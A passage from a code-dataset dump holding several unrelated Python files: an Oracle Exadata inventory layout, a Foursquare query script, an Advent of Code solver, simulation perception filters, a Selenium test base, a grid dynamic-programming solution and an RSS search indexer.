'<br>'\n }),\n TextDyField.data_source('Version', 'version'),\n DateTimeDyField.data_source('Released', 'time_released')\n ])\n\nvm_cluster_tag = TableDynamicLayout.set_fields('Tags', root_path='data.freeform_tags', fields=[\n TextDyField.data_source('Key', 'key'),\n TextDyField.data_source('Value', 'value')\n])\n\nvm_cluster_meta = CloudServiceMeta.set_layouts([vm_cluster_base, vm_cluster_network,\n vm_cluster_node, vm_cluster_database,\n vm_cluster_update_history, vm_cluster_update,\n vm_cluster_tag])\n\n'''\nDatabase\n'''\nvm_db_base = ItemDynamicLayout.set_fields('General Info', fields=[\n TextDyField.data_source('DB Name', 'data.db_name'),\n TextDyField.data_source('Id', 'data.id'),\n TextDyField.data_source('Compartment Id', 'data.compartment_id'),\n EnumDyField.data_source('State', 'data.lifecycle_state',\n default_state={\n 'safe': ['AVAILABLE'],\n 'warning': ['PROVISIONING', 'UPDATING',\n 'BACKUP_IN_PROGRESS', 'UPGRADING', 'TERMINATING'],\n 'alert': ['TERMINATED', 'RESTORE_FAILED', 'FAILED']}),\n TextDyField.data_source('Version', 'data.db_version'),\n TextDyField.data_source('Workload Type', 'data.db_workload'),\n TextDyField.data_source('Unique Name', 'data.db_unique_name'),\n TextDyField.data_source('PDB Name', 'data.pdb_name'),\n TextDyField.data_source('Database Software Image', 'data.database_software_image_id'),\n TextDyField.data_source('DB Home Id', 'data.db_home_id'),\n TextDyField.data_source('VM Cluster Id', 'data.vm_cluster_id'),\n TextDyField.data_source('Character Set', 'data.character_set'),\n TextDyField.data_source('National Character Set', 'data.ncharacter_set'),\n TextDyField.data_source('KMS key Id', 'data.kms_key_id'),\n DateTimeDyField.data_source('Created', 'data.time_created')\n])\n\nvm_db_connection_strings_default = ItemDynamicLayout.set_fields('Default',\n root_path='data.connection_strings', fields=[\n TextDyField.data_source('CDB default', 'cdb_default'),\n TextDyField.data_source('CDB IP default', 'cdb_ip_default')\n ])\n\nvm_db_connection_strings_all = TableDynamicLayout.set_fields('Connection Strings',\n root_path='data.connection_strings.all_connection_strings', fields=[\n TextDyField.data_source('Name', 'key'),\n TextDyField.data_source('Connection String', 'value')\n ])\nvm_db_connection_meta = ListDynamicLayout.set_layouts('Connection Strings', [vm_db_connection_strings_default,\n vm_db_connection_strings_all])\n\nvm_db_tags = TableDynamicLayout.set_fields('Tags', 'data.freeform_tags', fields=[\n TextDyField.data_source('Key', 'key'),\n TextDyField.data_source('Value', 'value')\n])\n\nvm_db_metadata = CloudServiceMeta.set_layouts([vm_db_base, vm_db_connection_meta, vm_db_tags])\n\n'''\nDatabaseSoftwareImage\n'''\nvm_db_image_base = ItemDynamicLayout.set_fields('General Info', fields=[\n TextDyField.data_source('Name', 'data.display_name'),\n TextDyField.data_source('Id', 'data.id'),\n TextDyField.data_source('Compartment', 'data.compartment_name'),\n TextDyField.data_source('DB version', 'data.database_version'),\n EnumDyField.data_source('State', 'data.lifecycle_state', default_state={\n 'safe': ['AVAILABLE'],\n 'warning': ['PROVISIONING', 'DELETING', 'TERMINATING', 'UPDATING'],\n 'alert': ['DELETED', 'FAILED', 'TERMINATED']\n }),\n EnumDyField.data_source('Image Type', 'data.image_type',\n default_outline_badge=['GRID_IMAGE', 'DATABASE_IMAGE']),\n EnumDyField.data_source('Image Shape', 'data.image_shape_family',\n default_outline_badge=['VM_BM_SHAPE', 'EXADATA_SHAPE']),\n TextDyField.data_source('PSU/BP/RU', 'data.patch_set'),\n ListDyField.data_source('One-Off Patches', 'data.database_software_image_one_off_patches', options={\n 'delimiter': '<br>'\n }),\n EnumDyField.data_source('Upgrade Supported', 'data.is_upgrade_supported',\n default_badge={'indigo.500': ['true'], 'coral.600': ['false']}),\n DateTimeDyField.data_source('Created', 'data.time_created')\n\n])\n\nvm_db_image_tags = TableDynamicLayout.set_fields('Tags', 'data.freeform_tags', fields=[\n TextDyField.data_source('Key', 'key'),\n TextDyField.data_source('Value', 'value')\n])\n\nvm_db_image_metadata = CloudServiceMeta.set_layouts([vm_db_image_base, vm_db_image_tags])\n\n'''\nBackup\n'''\nvm_db_backup_base = ItemDynamicLayout.set_fields('General Info', fields=[\n TextDyField.data_source('Id', 'data.id'),\n TextDyField.data_source('Compartment', 'data.compartment_name'),\n TextDyField.data_source('Source DB ID', 'data.database_id'),\n EnumDyField.data_source('Type', 'data.type',\n default_outline_badge=['INCREMENTAL', 'FULL', 'VIRTUAL_FULL']),\n EnumDyField.data_source('Edition', 'data.database_edition',\n default_outline_badge=['STANDARD_EDITION', 'ENTERPRISE_EDITION',\n 'ENTERPRISE_EDITION_HIGH_PERFORMANCE',\n 'ENTERPRISE_EDITION_EXTREME_PERFORMANCE']),\n TextDyField.data_source('Shape', 'data.shape'),\n TextDyField.data_source('Availability Domain', 'data.availability_domain'),\n TextDyField.data_source('Size(GB)', 'data.database_size_in_gbs'),\n DateTimeDyField.data_source('KMS key Id', 'data.kms_key_id'),\n DateTimeDyField.data_source('Time Started', 'data.time_started'),\n DateTimeDyField.data_source('Time Ended', 'data.time_ended')\n])\n\nvm_db_backup_tags = TableDynamicLayout.set_fields('Tags', 'data.freeform_tags', fields=[\n TextDyField.data_source('Key', 'key'),\n TextDyField.data_source('Value', 'value')\n])\n\ndb_backup_metadata = CloudServiceMeta.set_layouts([vm_db_backup_base, vm_db_backup_tags])\n\n\nclass ExadataCloudResource(CloudServiceResource):\n cloud_service_group = StringType(default='ExadataCloudDatabase')\n\n\n# ExadataInfrastructure\nclass ExadataInfrastructureResource(ExadataCloudResource):\n cloud_service_type = StringType(default='ExadataInfrastructure')\n data = ModelType(CloudExadataInfra)\n _metadata = ModelType(CloudServiceMeta, default=exadata_infra_meta, serialized_name='metadata')\n name = StringType()\n\n\nclass ExadataInfrastructureResponse(CloudServiceResponse):\n resource = PolyModelType(ExadataInfrastructureResource)\n\n\n# ExadataVMCluster\nclass ExadataVMClusterResource(ExadataCloudResource):\n cloud_service_type = StringType(default='ExadataVMCluster')\n data = ModelType(CloudVMCluster)\n _metadata = ModelType(CloudServiceMeta, default=vm_cluster_meta, serialized_name='metadata')\n name = StringType()\n\n\nclass ExadataVMClusterResponse(CloudServiceResponse):\n resource = PolyModelType(ExadataVMClusterResource)\n\n\n# Database\nclass ExadataDatabaseResource(ExadataCloudResource):\n cloud_service_group = StringType(default='Database')\n data = ModelType(Database)\n _metadata = ModelType(CloudServiceMeta, default=vm_db_metadata, serialized_name='metadata')\n name = StringType()\n\nclass ExadataDatabaseResponse(CloudServiceResponse):\n resource = PolyModelType(ExadataDatabaseResource)\n\n\n# DatabaseSoftwareImage\nclass ExadataDatabaseSoftwareImageResource(ExadataCloudResource):\n cloud_service_type = StringType(default='DatabaseSoftwareImage')\n data = ModelType(DatabaseSoftwareImage)\n _metadata = ModelType(CloudServiceMeta, default=vm_db_image_metadata, serialized_name='metadata')\n\n\nclass ExadataDatabaseSoftwareImageResponse(CloudServiceResponse):\n resource = PolyModelType(ExadataDatabaseSoftwareImageResource)\n\n\n# Backup\nclass ExadataBackupResource(ExadataCloudResource):\n cloud_service_group = StringType(default='Backup')\n data = ModelType(Backup)\n _metadata = ModelType(CloudServiceMeta, default=db_backup_metadata, serialized_name='metadata')\n\n\nclass ExadataBackupResponse(CloudServiceResponse):\n resource = PolyModelType(ExadataBackupResource)\n\n\n","repo_name":"cloudforet-io/plugin-oracle-cloud-service-inven-collector","sub_path":"src/spaceone/inventory/model/exadata_cloud_database/cloud_service.py","file_name":"cloud_service.py","file_ext":"py","file_size_in_byte":19406,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"5"} +{"seq_id":"43805190445","text":"# Imports\nimport pandas as pd\nfrom pandas import json_normalize\nimport requests\nimport json\nimport os\nfrom dotenv import load_dotenv\nfrom foursquare_queries import foursquare2jdf, column2Geo, df2geo\n\n# Categories for venues\ncategories={\n \"Café\": \"4bf58dd8d48988d16d941735\",\n \"CoffeShop\": \"4bf58dd8d48988d1e0931735\",\n \"NigthLife\": \"4d4b7105d754a06376d81259\",\n \"Vegan\": \"4bf58dd8d48988d1d3941735\",\n \"BasketballStadium\": \"4bf58dd8d48988d18b941735\",\n \"Airport\": \"4bf58dd8d48988d1ed931735\",\n \"Highschool\": \"4bf58dd8d48988d13d941735\",\n \"Elem_school\": \"4f4533804b9074f6e4fb0105\",\n \"Mid_school\": \"4f4533814b9074f6e4fb0106\",\n \"Preschool\": \"52e81612bcbc57f1066b7a45\"}\n\n#####################################################\n# QUERIES TO MONGO DB #\n#####################################################\n\n# Starbucks\ncategoria = categories[\"CoffeShop\"]\nradio = 5000\nlatlon = '37.7955307,-122.4005983'\ndatas = foursquare2jdf(categoria, radio, latlon)\n# Filter before insert into database\ndatas = datas[datas.name.eq(\"Starbucks\")]\ndf2geo(datas, '../output/starbucks.json')\n\n#Nightlife\ncategoria = categories[\"NightLife\"]\nradio = 5000\nlatlon = '37.7955307,-122.4005983'\ndatas = foursquare2jdf(categoria, radio, latlon)\ndf2geo(datas, '../output/nightlife.json')\n\n# Vegan restaurants\ncategoria = categories[\"Vegan\"]\nradio = 5000\nlatlon = '37.7955307,-122.4005983'\ndatas = foursquare2jdf(categoria, radio, latlon)\ndf2geo(datas, '../output/vegan.json')\n\n# Elementary School\ncategoria = categories[\"Elem_school\"]\nradio = 5000\nlatlon = '37.7955307,-122.4005983'\ndatas = foursquare2jdf(categoria, radio, latlon)\ndf2geo(datas, '../output/elem_school.json')\n\n# Middleschool\ncategoria = categories[\"Mid_school\"]\nradio = 5000\nlatlon = '37.7955307,-122.4005983'\ndatas = foursquare2jdf(categoria, radio, latlon)\ndf2geo(datas, '../output/midschool.json')\n\n# Preschool\ncategoria = categories[\"Preschool\"]\nradio = 5000\nlatlon = '37.7955307,-122.4005983'\ndatas = foursquare2jdf(categoria, radio, latlon)\ndf2geo(datas, '../output/preschool.json')\n\n# Highschool\ncategoria = categories[\"Highschool\"]\nradio = 5000\nlatlon = '37.7955307,-122.4005983'\ndatas = foursquare2jdf(categoria, radio, latlon)\ndf2geo(datas, '../output/highschool.json')","repo_name":"trutorj/LocalizadorOfis","sub_path":"src/foursquare_imports.py","file_name":"foursquare_imports.py","file_ext":"py","file_size_in_byte":2264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"19410680753","text":"from itertools import count\n\n\ndef transform_subject(subject_number: int, loop_size: int) -> int:\n value = 1\n for i in range(loop_size):\n value *= subject_number\n value %= 20201227\n return value\n\n\ndef find_loop_size(public_key: int) -> int:\n subject_number = 7\n value = 1\n for loop_size in count(1):\n value *= subject_number\n value %= 20201227\n\n if value == public_key:\n return loop_size\n\n\ndef make_encryption_key(remote_public_key: int, own_loop_size: int) -> int:\n return transform_subject(remote_public_key, own_loop_size)\n\n\ndef main():\n DOOR_PUBLIC_KEY = 9789649\n CARD_PUBLIC_KEY = 3647239\n\n door_loop_size = find_loop_size(DOOR_PUBLIC_KEY)\n enc_key = make_encryption_key(CARD_PUBLIC_KEY, door_loop_size)\n print(f\"Encryption key: {enc_key}\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"yamnikov-oleg/aoc2020","sub_path":"day25/day25.py","file_name":"day25.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"28838288778","text":"from abc import ABC, abstractmethod\nfrom bisect import bisect_left\nfrom dataclasses import replace\n\nimport numpy as np\nfrom commonroad_dc.pycrcc import Polygon as crPolygon\nfrom shapely.validation import make_valid\n\nfrom dg_commons import PlayerName, SE2Transform, fd, sPolygon2crPolygon\nfrom dg_commons.perception.sensor import Sensor\nfrom dg_commons.sim import PlayerObservations, SimObservations, SimTime, logger\nfrom dg_commons.sim.models import (\n extract_2d_position_from_state,\n extract_pose_from_state,\n)\nfrom dg_commons.sim.scenarios import DgScenario\n\n\nclass ObsFilter(ABC):\n @abstractmethod\n def sense(self, scenario: DgScenario, full_obs: SimObservations, pov: PlayerName) -> SimObservations:\n \"\"\"\n Filters the observations of a player based on their point of view.\n :param scenario: scenario at hand\n :param full_obs: full observations\n :param pov: which player's point of view\n :return:\n \"\"\"\n pass\n\n\nclass IdObsFilter(ObsFilter):\n \"\"\"Identity visibility filter\"\"\"\n\n def sense(self, scenario: DgScenario, full_obs: SimObservations, pov: PlayerName) -> SimObservations:\n return full_obs\n\n\nclass FovObsFilter(ObsFilter):\n \"\"\"\n FOV visibility filter. Filters observations according to the sensor's FOV.\n \"\"\"\n\n def __init__(self, sensor: Sensor):\n self.sensor: Sensor = sensor\n self._static_obstacles: list[crPolygon] = []\n self._tmp_debug: int = 0\n\n def sense(self, scenario: DgScenario, full_obs: SimObservations, pov: PlayerName) -> SimObservations:\n \"\"\"\n Filters the observations of a player.\n :param scenario: scenario at hand\n :param full_obs: full observations\n :param pov: which player's point of view\n :return:\n \"\"\"\n # first update sensor pose\n self.sensor.pose = SE2Transform.from_SE2(extract_pose_from_state(full_obs.players[pov].state))\n # then filter\n if not self._static_obstacles:\n self._static_obstacles = [sPolygon2crPolygon(o.shape) for o in scenario.static_obstacles]\n\n self._tmp_debug += 1\n dynamic_obstacles = [sPolygon2crPolygon(p_obs.occupancy) for p, p_obs in full_obs.players.items() if p != pov]\n\n all_obstacles = self._static_obstacles + dynamic_obstacles\n\n fov_poly = self.sensor.fov_as_polygon(all_obstacles)\n new_players: dict[PlayerName, PlayerObservations] = {pov: full_obs.players[pov]}\n for p, p_obs in full_obs.players.items():\n if p == pov:\n continue\n\n try:\n player_seen = fov_poly.intersects(p_obs.occupancy)\n except Exception:\n logger.info(f\"FOV polygon is valid: {fov_poly.is_valid}\")\n logger.info(f\"{p}'s polygon is valid: {p_obs.occupancy.is_valid}\")\n if not fov_poly.is_valid:\n fov_poly = make_valid(fov_poly)\n if not p_obs.occupancy.is_valid:\n new_occupancy = make_valid(p_obs.occupancy)\n p_obs = replace(p_obs, occupancy=new_occupancy)\n player_seen = fov_poly.intersects(p_obs.occupancy)\n finally:\n if player_seen:\n new_players[p] = p_obs\n\n # if fov_poly.intersects(p_obs.occupancy):\n # new_players[p] = p_obs\n\n return replace(full_obs, players=fd(new_players))\n\n\nclass DelayedObsFilter(ObsFilter):\n \"\"\"\n Wrapper around an ObsFilter that introduces delay/latency.\n An agent equipped with this filter will receive the observations delayed in time by _latency_.\n \"\"\"\n\n def __init__(self, obs_filter: ObsFilter, latency: SimTime):\n assert issubclass(type(obs_filter), ObsFilter)\n self.obs_filter = obs_filter\n self.latency = latency\n self.obs_history: list[tuple[SimTime, SimObservations]] = []\n\n def sense(self, scenario: DgScenario, full_obs: SimObservations, pov: PlayerName) -> SimObservations:\n obs = self.obs_filter.sense(scenario, full_obs, pov)\n shifted_t = obs.time + self.latency\n self.obs_history.append((shifted_t, replace(obs, time=shifted_t)))\n history_ts = self._get_obs_history_timestamps()\n idx = bisect_left(history_ts, obs.time)\n return self.obs_history[idx][1]\n\n def _get_obs_history_timestamps(self) -> list[SimTime]:\n return [_[0] for _ in self.obs_history]\n\n\nclass GhostObsFilter(ObsFilter):\n \"\"\"\n Observation filter that \"ghosts\" a specific player which is further than a certain distance.\n If _further_than_ is set to zero, the player is always ghosted (removed from others' observations).\n Note that the ghost retains the ability to observe itself.\n \"\"\"\n\n def __init__(self, obs_filter: ObsFilter, ghost_name: PlayerName, further_than: float = 0):\n \"\"\"\n :param obs_filter:\n :param ghost_name:\n :param further_than:\n \"\"\"\n assert issubclass(type(obs_filter), ObsFilter)\n self.obs_filter = obs_filter\n self.ghost_name: PlayerName = ghost_name\n self.further_than: float = further_than\n\n def sense(self, scenario: DgScenario, full_obs: SimObservations, pov: PlayerName) -> SimObservations:\n obs = self.obs_filter.sense(scenario, full_obs, pov)\n if pov == self.ghost_name or self.ghost_name not in obs.players:\n return obs\n\n pov_position = extract_2d_position_from_state(obs.players[pov].state)\n ghost_position = extract_2d_position_from_state(obs.players[self.ghost_name].state)\n distance = np.linalg.norm(pov_position - ghost_position)\n if distance > self.further_than:\n # assumes api of frozendict\n filtered_players = obs.players.delete(self.ghost_name)\n obs = replace(obs, players=filtered_players)\n\n return obs\n","repo_name":"idsc-frazzoli/dg-commons","sub_path":"src/dg_commons/sim/sim_perception.py","file_name":"sim_perception.py","file_ext":"py","file_size_in_byte":5881,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"5"} +{"seq_id":"18571992453","text":"import os\nimport sys\nimport unittest\n\nsys.path.append(os.path.abspath('..'))\n\nfrom selenium import webdriver\nfrom main import app\nfrom src.models import db\nfrom manage import init_db\nimport requests\n\nhome_page = \"http://127.0.0.1:5000\"\n\nclass driver():\n def __init__(self,browser = 'firefox',**kwargs) -> None:\n self.browser_name = browser\n self.kwargs = kwargs\n def __enter__(self):\n if (self.browser_name == 'edge'):\n self.driver = webdriver.Edge(**self.kwargs)\n if (self.browser_name == 'chrome'):\n self.driver = webdriver.Chrome(**self.kwargs)\n if (self.browser_name == 'firefox'):\n self.driver = webdriver.Firefox(**self.kwargs)\n self.driver.maximize_window()\n return self.driver\n\n def __exit__(self,*args):\n self.driver.implicitly_wait(5)\n self.driver.quit()\n\nclass session():\n def __init__(self,user=None,**kwargs) -> None:\n self.user = user\n self.kwargs = kwargs\n def __enter__(self):\n self.d = driver(**self.kwargs).__enter__()\n self.d.get(f'{home_page}/login')\n if self.user:\n self.d.find_element('id', 'username').send_keys(self.user['username'])\n self.d.find_element('id', 'password').send_keys(self.user['password']) \n self.d.find_element('name', 'submit').click()\n return self.d\n\n def __exit__(self,*args):\n self.d.__exit__(*args)\n\n\nclass Tests_Base(unittest.TestCase):\n app = app\n db = db\n home_page = home_page\n\n def setUp(self):\n self.user1_params = {\n 'first_name': 'fadmin',\n 'last_name': 'ladmin',\n 'username': '2',\n 'password': '2',\n 'role': 'admin',\n 'job': 'Enginer', \n }\n with app.app_context():\n db.drop_all()\n init_db()\n requests.get(f'{home_page}/restart_bbdd')\n def tearDown(self):\n\n with app.app_context():\n db.drop_all()\n init_db()\n requests.get(f'{home_page}/restart_bbdd')\n\n\n","repo_name":"JesusBandez/proyecto_Ing_software","sub_path":"tests/Tests_Base.py","file_name":"Tests_Base.py","file_ext":"py","file_size_in_byte":2003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"37383848405","text":"\n\n'''\nN, M을 입력받아서 배열 maze와 dp를 생성합니다.\ndp 배열을 초기화합니다. dp[0][0]은 시작 위치의 값으로 초기화합니다.\n첫 행과 첫 열의 값을 초기화합니다. 첫 행은 왼쪽의 값과 현재 값의 합으로, 첫 열은 위쪽의 값과 현재 값의 합으로 초기화합니다.\ndp 배열의 나머지 부분을 채웁니다. 현재 위치의 dp 값은 왼쪽 값, 위쪽 값, 대각선 위의 값 중 최대값에 현재 위치의 값을 더한 값입니다.\ndp[N-1][M-1]을 출력합니다. 이 값은 오른쪽 아래의 값이 됩니다.\n\n'''\nimport sys\n\ninput = sys.stdin.readline\n\nN, M = map(int, input().split())\n\n# 배열 생성 및 초기화\nmaze = []\nfor i in range(N):\n row = list(map(int, input().split()))\n maze.append(row)\n\n# dp 배열 생성 및 초기화\ndp = [[0] * M for _ in range(N)]\ndp[0][0] = maze[0][0] # 시작 위치 초기화\n\n# 첫 행 초기화\nfor j in range(1, M):\n dp[0][j] = dp[0][j-1] + maze[0][j]\n\n# 첫 열 초기화\nfor i in range(1, N):\n dp[i][0] = dp[i-1][0] + maze[i][0]\n\n# dp 배열 채우기\nfor i in range(1, N):\n for j in range(1, M):\n dp[i][j] = max(dp[i-1][j], dp[i][j-1], dp[i-1][j-1]) + maze[i][j]\n\n# 결과 출력\nprint(dp[N-1][M-1])\n","repo_name":"songhee-lee/2023-python-coding-test","sub_path":"이것이 코딩테스트다/6. DP/sukkyeong/백준/05.이동하기.py","file_name":"05.이동하기.py","file_ext":"py","file_size_in_byte":1260,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"29670736274","text":"import re\nimport json\nimport nltk\nfrom math import floor\nfrom os.path import dirname, isfile, abspath\nfrom xml.etree import ElementTree\nfrom functools import reduce\nfrom nltk import word_tokenize\nfrom nltk.stem.snowball import SpanishStemmer\nfrom html import unescape\nfrom django.utils.html import strip_tags\n\nnltk.data.path.append(dirname(abspath(dirname(__file__))) + '/nltk_data')\n\nclass Indexer(object):\n def __init__(self):\n self.cwd = abspath(dirname(__file__))\n self.ids = self.load_json('%s/ids.json' % self.cwd)\n self.index = Index(\n stopwords=self.load_stopwords(),\n ids=self.ids\n )\n\n def run_index(self):\n feeds = self.load_json('%s/feeds.json' % self.cwd)\n\n all_items = []\n\n for feed, info in feeds.items():\n for channel in info['channels']:\n index = \"%s-%s\" % (feed, channel)\n filename = \"%s/%s.xml\" % (dirname(self.cwd) + '/xml', index)\n\n with open(filename, 'r') as xml_data:\n data = ElementTree.parse(xml_data)\n\n for item in data.findall('.//item'):\n docid = '%s%s%s' % (self.ids[feed], self.ids[channel], item.attrib['id'])\n title = unescape(item.find('./title').text)\n descr = ''\n\n descr_item = item.find('./description')\n if descr_item is not None:\n descr = unescape(str(descr_item.text))\n\n all_items.append((docid, title, descr))\n\n self.index.add(all_items)\n self.index.save_to(dirname(self.cwd) + '/tmp')\n\n def load_json(self, filename):\n with open(filename, 'r') as file:\n return json.load(file)\n\n def load_stopwords(self):\n with open('%s/stopwords.txt' % self.cwd, 'r') as file:\n return set(file.readlines())\n\n def load_index(self):\n self.index.load_from(dirname(self.cwd)+'/tmp')\n\n return self.index\n\n\nclass Index():\n BLOCK_SIZE = 10\n TITLE_SECTION = 'T'\n DESCRIPTION_SECTION = 'D'\n DICTIONARY_FILENAME = 'dict.idx'\n AUX_FILENAME = 'aux.json'\n\n curr_block = 0\n curr_pos = 0\n curr_primary_pos = 0\n dictionary = ''\n aux = {}\n aux_feeds = {}\n aux_channels = {}\n aux_feeds_channels = {}\n aux_keys = []\n loaded_xmls = {}\n last_term = ''\n\n def __init__(self, stopwords=None, stemmer=SpanishStemmer(), ids=None):\n self.stemmer = stemmer\n self.stopwords = stopwords if stopwords else set()\n self.ids = ids if ids else {}\n\n self.last_word_finder = re.compile('\\d+([a-z]+)$')\n self.stemming_filter = re.compile('^[a-z]+$')\n self.all_numbers = re.compile('^\\d+$')\n\n def reducer(self, index, item):\n '''\n :type index: dict\n :type item: tuple\n :return: dict\n '''\n (term, section, docid) = item\n feed_id = docid[0:2]\n channel_id = docid[2:4]\n feed_channel_id = docid[0:4]\n\n self.aux_feeds.setdefault(feed_id, {})\n self.aux_channels.setdefault(channel_id, {})\n self.aux_feeds_channels.setdefault(feed_channel_id, {})\n\n last_term = self.get_last_term()\n dictionary_entry = str(len(term)) + term\n\n if term != last_term:\n self.dictionary += dictionary_entry\n\n if last_term:\n self.curr_pos += len(str(len(last_term)) + last_term)\n\n self.curr_block += 1\n if self.curr_block >= self.BLOCK_SIZE:\n self.curr_block = 0\n self.curr_primary_pos = self.curr_pos\n\n self.last_term = term\n\n key = str(self.curr_primary_pos)\n print(term, last_term, section, docid, key, self.curr_primary_pos, self.curr_block, self.curr_pos)\n\n index.setdefault(key, self.get_default_index_structure())\n self.aux_feeds[feed_id].setdefault(key, self.get_default_index_structure())\n self.aux_channels[channel_id].setdefault(key, self.get_default_index_structure())\n self.aux_feeds_channels[feed_channel_id].setdefault(key, self.get_default_index_structure())\n\n index[key][self.curr_block][section][0] += 1\n index[key][self.curr_block][section][1].append(docid)\n self.aux_feeds[feed_id][key][self.curr_block][section][0] += 1\n self.aux_feeds[feed_id][key][self.curr_block][section][1].append(docid)\n self.aux_channels[channel_id][key][self.curr_block][section][0] += 1\n self.aux_channels[channel_id][key][self.curr_block][section][1].append(docid)\n self.aux_feeds_channels[feed_channel_id][key][self.curr_block][section][0] += 1\n self.aux_feeds_channels[feed_channel_id][key][self.curr_block][section][1].append(docid)\n\n return index\n\n def get_default_index_structure(self):\n '''\n Cada palabra tendrá:\n \"T\": [\n 0: title_freq\n 1: title_docIDs\n ],\n \"D\": [\n 0: descr_freq\n 1: descr_docIDs\n ]\n :return: list\n '''\n\n return [\n {\n self.TITLE_SECTION: [0, []],\n self.DESCRIPTION_SECTION: [0, []]\n }\n for _ in range(0, self.BLOCK_SIZE)\n ].copy()\n\n def map(self, all_items):\n return sorted([term_doc_pair for pairs in map(self.mapper, all_items) for term_doc_pair in pairs])\n\n def mapper(self, item):\n (docid, title, descr) = item\n\n return [\n (word, section, docid)\n for (word, section) in\n self.stem_tokenize(title, self.TITLE_SECTION) +\n self.stem_tokenize(descr, self.DESCRIPTION_SECTION)\n ]\n\n def stem_tokenize(self, text, section):\n return [\n (stemmed, section) for stemmed in [\n self.stemmer.stem(word)\n for word in word_tokenize(strip_tags(text), 'spanish')\n if word not in self.stopwords\n and len(word) > 3\n ]\n if self.stemming_filter.match(stemmed)\n ]\n\n def get_last_term(self):\n return self.last_term if self.last_term else ''\n\n def add(self, items):\n self.set_aux(reduce(self.reducer, self.map(items), {}))\n\n def load_from(self, directory):\n dictionary_path = '%s/%s' % (directory, self.DICTIONARY_FILENAME)\n if isfile(dictionary_path):\n with open(dictionary_path, 'r') as dictionary_file:\n self.dictionary = ''.join(dictionary_file.readlines())\n\n aux_path = '%s/%s' % (directory, self.AUX_FILENAME)\n if isfile(aux_path):\n with open(aux_path, 'r') as aux_file:\n self.set_aux(json.load(aux_file))\n\n path = '%s/feeds_%s' % (directory, self.AUX_FILENAME)\n if isfile(path):\n with open(path, 'r') as aux_file:\n self.aux_feeds = json.load(aux_file)\n\n path = '%s/channels_%s' % (directory, self.AUX_FILENAME)\n if isfile(path):\n with open(path, 'r') as aux_file:\n self.aux_channels = json.load(aux_file)\n\n path = '%s/channels_feeds_%s' % (directory, self.AUX_FILENAME)\n if isfile(path):\n with open(path, 'r') as aux_file:\n self.aux_feeds_channels = json.load(aux_file)\n\n def save_to(self, directory):\n with open('%s/%s' % (directory, self.AUX_FILENAME), 'w') as aux_file:\n json.dump(self.aux, aux_file)\n\n with open('%s/feeds_%s' % (directory, self.AUX_FILENAME), 'w') as aux_file:\n json.dump(self.aux_feeds, aux_file)\n\n with open('%s/channels_%s' % (directory, self.AUX_FILENAME), 'w') as aux_file:\n json.dump(self.aux_channels, aux_file)\n\n with open('%s/channels_feeds_%s' % (directory, self.AUX_FILENAME), 'w') as aux_file:\n json.dump(self.aux_feeds_channels, aux_file)\n\n with open('%s/%s' % (directory, self.DICTIONARY_FILENAME), 'w') as dictionary_file:\n dictionary_file.write(self.dictionary)\n\n def boolean_search(self, phrase):\n phrase = phrase.strip()\n\n terms = list(map(lambda term: term.strip(), re.split('(and|or|not)', phrase)))\n\n if not terms:\n return []\n\n results = self.single_term_search(terms[0])\n for term in terms[1:]:\n if term == 'and':\n right = self.single_term_search(terms[terms.index(term) + 1])\n results = [result for result in results if result in right]\n elif term == 'or':\n right = self.single_term_search(terms[terms.index(term) + 1])\n results = results + right\n elif term == 'not':\n right = self.single_term_search(terms[terms.index(term) + 1])\n if right:\n results = [result for result in results if result not in right]\n\n return list(set(results))\n\n def single_term_search(self, term):\n if ' ' in term:\n terms = filter(lambda t: len(t) > 3, term.split())\n results = self.boolean_search(' and '.join(terms))\n\n return filter(lambda docid: self.article_contains_term(docid, term), results)\n\n result = self.search(term)\n\n if not result:\n return []\n\n return result[self.TITLE_SECTION][1] + result[self.DESCRIPTION_SECTION][1]\n\n def article_contains_term(self, docid, term):\n link, title, description = self.get_article_by_id(docid)\n\n return term in title or term in description\n\n def search(self, word):\n return self.binary_search(self.stemmer.stem(word))\n\n def binary_search(self, word, min=0, max=None):\n max = max if max is not None else len(self.aux_keys)\n\n if max < min:\n return None\n\n mid = int(min + floor((max - min) / 2))\n key = self.aux_keys[mid]\n (candidate, end) = self.get_from_dictionary(key)\n\n if word == candidate:\n return self.aux[str(key)][0]\n if word < candidate:\n return self.binary_search(word, min, mid - 1)\n\n for i in range(1, self.BLOCK_SIZE):\n (candidate, end) = self.get_from_dictionary(end)\n\n if word == candidate:\n return self.aux[str(key)][i]\n\n return self.binary_search(word, mid + 1, max)\n\n def set_aux(self, aux):\n self.aux = aux\n self.aux_keys = sorted(map(int, list(self.aux.keys())))\n\n def get_from_dictionary(self, key):\n chars = self.dictionary[key]\n start = key + 1\n\n # Soportar dos dígitos\n if self.all_numbers.match(self.dictionary[key:start + 1]):\n chars = self.dictionary[key:start + 1]\n start += 1\n\n end = start + int(chars)\n\n return self.dictionary[start:end], end\n\n def ranking_title(self, n=10, feed=None, channel=None):\n return self.ranking(self.TITLE_SECTION, n, feed, channel)\n\n def ranking_description(self, n=10, feed=None, channel=None):\n return self.ranking(self.DESCRIPTION_SECTION, n, feed, channel)\n\n def ranking(self, section, limit, feed, channel):\n aux = self.aux\n\n if feed:\n if channel:\n aux = self.aux_feeds_channels[self.ids[feed] + self.ids[channel]]\n else:\n aux = self.aux_feeds[self.ids[feed]]\n elif channel:\n aux = self.aux_channels[self.ids[channel]]\n\n sorted_aux = sorted(aux, reverse=True, key=lambda k: max(\n aux[k],\n key=lambda word_data: word_data[section][0])[section][0]\n )\n\n words = []\n for i in range(0, 10):\n key = sorted_aux[i]\n end = int(key)\n\n for j in range(0, self.BLOCK_SIZE):\n (word, end) = self.get_from_dictionary(end)\n words.append([word] + aux[key][j][section])\n\n words = sorted(words, reverse=True, key=lambda tpl: tpl[1])\n\n return words[0:limit]\n\n def get_article_by_id(self, article_id):\n ids = {v: k for k, v in self.ids.items()}\n feed = article_id[0:2]\n channel = article_id[2:4]\n doc_id = article_id[4:]\n\n data = self.load_xml(channel, feed, ids)\n\n item = 